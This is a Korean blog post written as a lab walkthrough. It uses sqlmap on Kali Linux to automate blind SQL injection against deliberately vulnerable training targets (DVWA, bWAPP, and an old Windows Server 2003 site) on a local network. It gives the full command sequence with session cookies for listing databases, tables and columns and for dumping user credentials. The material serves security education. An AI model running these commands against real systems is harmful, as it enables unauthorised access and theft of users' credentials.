-
Kali Linux - SQLmap을 이용한 SQL Injection 공격 자동화Security 2022. 5. 12. 13:23
SQL Injection SQL Injection 공격 자동화
: DB에 대한 정보가 없는 상태에서 DB에 하나씩 물어보고 Yes or No 형식으로 응답하면 그 정보를 모아서, DB 이름, Table 이름 등을 파악
Blind SQL Injection의 일종 > 반복 작업이 많아서 사람이 일일이 하기는 어려움 > 자동화 도구를 사용하는 이유
실습
Kali Linux의 SQLmap을 이용해서 DVWA(Metasploitable2)에 SQL Injection 공격 자동화하기
-SQLmap의 문법
sudo sqlmap -u "URL 주소" --cookie="쿠키 값"
URL 주소 : DVWA의 SQL Injection(Blind) 메뉴에서 입력창에 1~5 사이의 번호를 한 번 입력한 주소 표시줄의 주소를 사용합니다.
URL 주소 확인 쿠키 값 : 주소표시줄에 javascript:document.cookie 입력하면 화면에 쿠키 값이 나타납니다.
쿠키 값 확인 DB 이름 확인
Kali Linux로 돌아와서 URL 주소와 쿠키 값을 넣은 아래의 코드를 입력해줍니다.
sudo sqlmap -u "http://192.168.5.129/dvwa/vulnerabilities/sqli_blind/?id=4&Submit=Submit#" --cookie="security=low; PHPSESSID=d8ecbaee412112b70f62cf04583fd184" --dbs
7개의 available databases 확인 가능 다음에 물어보는 내용들이 있으면 Y/n, y/N 등의 질문에는 대문자로 된 응답을 해주시면 됩니다.
Table 이름 알아내기
sudo sqlmap -u "http://192.168.5.129/dvwa/vulnerabilities/sqli_blind/?id=4&Submit=Submit#" --cookie="security=low; PHPSESSID=d8ecbaee412112b70f62cf04583fd184" -D dvwa --tables
guestbook, users의 테이블 이름을 알아냈습니다. Column이름 알아내기
sudo sqlmap -u "http://192.168.5.129/dvwa/vulnerabilities/sqli_blind/?id=4&Submit=Submit#" --cookie="security=low; PHPSESSID=d8ecbaee412112b70f62cf04583fd184" -D dvwa -T users --columns
users Table의 user, avatar, first_name, last_name, password, user_id 6개의 columns 이름을 알아냈습니다. 로그인 계정과 비밀번호 알아내기
sudo sqlmap -u "http://192.168.5.129/dvwa/vulnerabilities/sqli_blind/?id=4&Submit=Submit#" --cookie="security=low; PHPSESSID=d8ecbaee412112b70f62cf04583fd184" -D dvwa -T users -C user,password --dump
users Table의 user id와 password를 알아냈습니다. Kali Linux의 SQLmap을 이용해서 Windows Server 2003에 SQL Injection 공격 자동화하기
URL 주소와 쿠키 값을 먼저 알아내겠습니다.
방법은 위와 동일합니다.
URL 주소 쿠키 값 DB 이름 알아내기
sudo sqlmap -u "http://192.168.5.141/jsp/cmnt_view02.jsp?num=1" --cookie="JSESSIONID=C151A35581724C6D75770DDB56586E62" --dbs
master, model, msdb, Northwind, pubs, tempdb 총 6개의 available databases를 확인했습니다. 하지만 04arg라는 DB에 원하는 정보가 있어서 04arg에서 다음 Table을 확인했습니다.
Table 이름 알아내기
sudo sqlmap -u "http://192.168.5.141/jsp/cmnt_view02.jsp?num=1" --cookie="JSESSIONID=C151A35581724C6D75770DDB56586E62" -D 04arg --tables
많은 Table중에 회원정보가 있는 tbl.member Table 확인 Column 이름 알아내기
sudo sqlmap -u "http://192.168.5.141/jsp/cmnt_view02.jsp?num=1" --cookie="JSESSIONID=C151A35581724C6D75770DDB56586E62" -D 04arg -T tbl_member --columns
많은 Column중에 ID와 PW가 있는 userid와 passwd Column 확인 로그인 계정과 비밀번호 알아내기
sudo sqlmap -u "http://192.168.5.141/jsp/cmnt_view02.jsp?num=1" --cookie="JSESSIONID=C151A35581724C6D75770DDB56586E62" -D 04arg -T tbl_member -C userid,passwd --dump
올바른 방법으로 조회해봤지만 blank로 표시되는 것을 알 수 있습니다. 아무래도 오래 된 버전이다보니 조회가 어려운 것으로 판단됩니다.
Kali Linux의 SQLmap을 이용해서 Bee-Box에 SQL Injection 공격 자동화하기
URL 주소와 쿠키 값을 먼저 알아내겠습니다.
방법은 위와 동일합니다.
URL 주소 쿠키 값 DB 이름 알아내기
sudo sqlmap -u "http://192.168.5.139/bWAPP/sqli_4.php?title=man&action=search" --cookie="PHPSESSID=9b73192cb6d88398c2a25894103327a5; security_level=0" --dbs
bWAPP, drupageddon, information_schema, mysql 총 4개의 available databases를 확인할 수 있습니다. Table 이름 알아내기
sudo sqlmap -u "http://192.168.5.139/bWAPP/sqli_4.php?title=man&action=search" --cookie="PHPSESSID=9b73192cb6d88398c2a25894103327a5; security_level=0" -D bWAPP --tables
blog, heroes, movies, users, visitors 총 5개의 table을 확인할 수 있었습니다. Column 이름 알아내기
sudo sqlmap -u "http://192.168.5.139/bWAPP/sqli_4.php?title=man&action=search" --cookie="PHPSESSID=9b73192cb6d88398c2a25894103327a5; security_level=0" -D bWAPP -T users --columns
많은 Column중에 계정 정보가 있는 login과 password Column을 확인할 수 있습니다. id로 유추할 수도 있었지만 아닌 것을 미리 알아서 login Column으로 진행했습니다.
로그인 계정과 비밀번호 알아내기
sudo sqlmap -u "http://192.168.5.139/bWAPP/sqli_4.php?title=man&action=search" --cookie="PHPSESSID=9b73192cb6d88398c2a25894103327a5; security_level=0" -D bWAPP -T users -C login,password --dump
users Table의 login,password Column의 ID와 Password 정보를 얻었습니다. Password 같은 경우는 해쉬값을 Decode해서 표현해준다는 사실까지 알 수 있었습니다.
'Security' 카테고리의 다른 글
HTTP Status Code - HTTP 응답 상태 코드 정리 (0) 2022.05.13 Firewall - 방화벽 (0) 2022.05.12 Backdoor, Trojan Horse, WebDAV, Cadaver, Bee-Box - 백도어, 트로이 목마 WebDAV, Cadaver 사용 Bee-Box 문제 풀이 (0) 2022.05.12 SQL Injection, HTML, Windows Server 2003 Hacking - SQL 인젝션, HTML, 윈도우 서버 2003 해킹 (0) 2022.05.09 Web (0) 2022.05.07